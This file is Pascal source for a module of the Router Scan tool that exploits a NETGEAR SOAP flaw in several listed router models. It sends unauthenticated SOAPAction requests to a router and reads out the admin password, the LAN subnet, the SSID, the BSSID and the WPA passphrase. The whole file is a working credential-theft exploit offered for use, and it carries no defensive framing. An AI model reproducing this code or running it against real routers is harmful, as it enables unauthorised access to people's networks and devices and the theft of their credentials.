// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://cxsecurity.com/issue/WLB-2015020059

function TRouter.Exploit_NETGEAR(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
  S: String;
  SList: TStringList;
begin
  // Affected:
  // NETGEAR WNR1000v2
  // NETGEAR JWNR2000v2
  // NETGEAR WNR612v2
  // NETGEAR WNDR3700
  // NETGEAR WNR2200
  Result := False;
  if Pos('uhttpd', ServerName) <> 1 then
    Exit;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  SList := TStringList.Create;
  SList.Text := ' ';
  CustomHeaderList.Add('SOAPAction'#9'urn:NETGEAR-ROUTER:service:LANConfigSecurity:1#GetInfo');
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  SList, S, Code, 5, 0, ServerName, False, AuthUser, AuthPass) then begin
    if Pos('<NewPassword>', S) > 0 then begin
      Result := True;
      AuthUser := 'admin';
      AuthPass := DeleteBetween(S, '<NewPassword>', '</NewPassword>');
      LAN := DeleteBetween(S, '<NewLANSubnet>', '</NewLANSubnet>');
      SetTableCell(stcLANMask, LAN);
    end;
  end;
  CustomHeaderList.Clear;
  CustomHeaderList.Add('SOAPAction'#9'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetInfo');
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  SList, S, Code, 5, 0, ServerName, False, AuthUser, AuthPass) then begin
    if Pos('<NewSSID>', S) > 0 then begin
      if DeleteBetween(S, '<NewStatus>', '</NewStatus>') = 'Down' then
        SetTableCell(stcRadioOff, stcCheckX);
      if DeleteBetween(S, '<NewSSIDBroadcast>', '</NewSSIDBroadcast>') = '0' then
        SetTableCell(stcHidden, stcCheckX);
      BSSID := DeleteBetween(S, '<NewWLANMACAddress>', '</NewWLANMACAddress>');
      Insert(':', BSSID, 11);
      Insert(':', BSSID, 9);
      Insert(':', BSSID, 7);
      Insert(':', BSSID, 5);
      Insert(':', BSSID, 3);
      SetTableCell(stcBSSID, BSSID);
      SSID := DeleteBetween(S, '<NewSSID>', '</NewSSID>');
      SetTableCell(stcSSID, SSID);
      Tmp := DeleteBetween(S, '<NewBasicEncryptionModes>', '</NewBasicEncryptionModes>');
      if Tmp = 'WPA-PSK' then
        Sec := 'WPA';
      if Tmp = 'WPA2-PSK' then
        Sec := 'WPA2';
      if Tmp = 'WPA-PSK/WPA2-PSK' then
        Sec := 'WPA/WPA2';
      SetTableCell(stcSec, Sec);
    end;
  end;
  CustomHeaderList.Clear;
  CustomHeaderList.Add('SOAPAction'#9'urn:NETGEAR-ROUTER:service:WLANConfiguration:1#GetWPASecurityKeys');
  if PostHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/',
  SList, S, Code, 5, 0, ServerName, False, AuthUser, AuthPass) then begin
    if Pos('<NewWPAPassphrase>', S) > 0 then begin
      Pasw := DeleteBetween(S, '<NewWPAPassphrase>', '</NewWPAPassphrase>');
      SetTableCell(stcKey, Pasw);
    end;
  end;
  CustomHeaderList.Clear;
  SList.Free;
end;
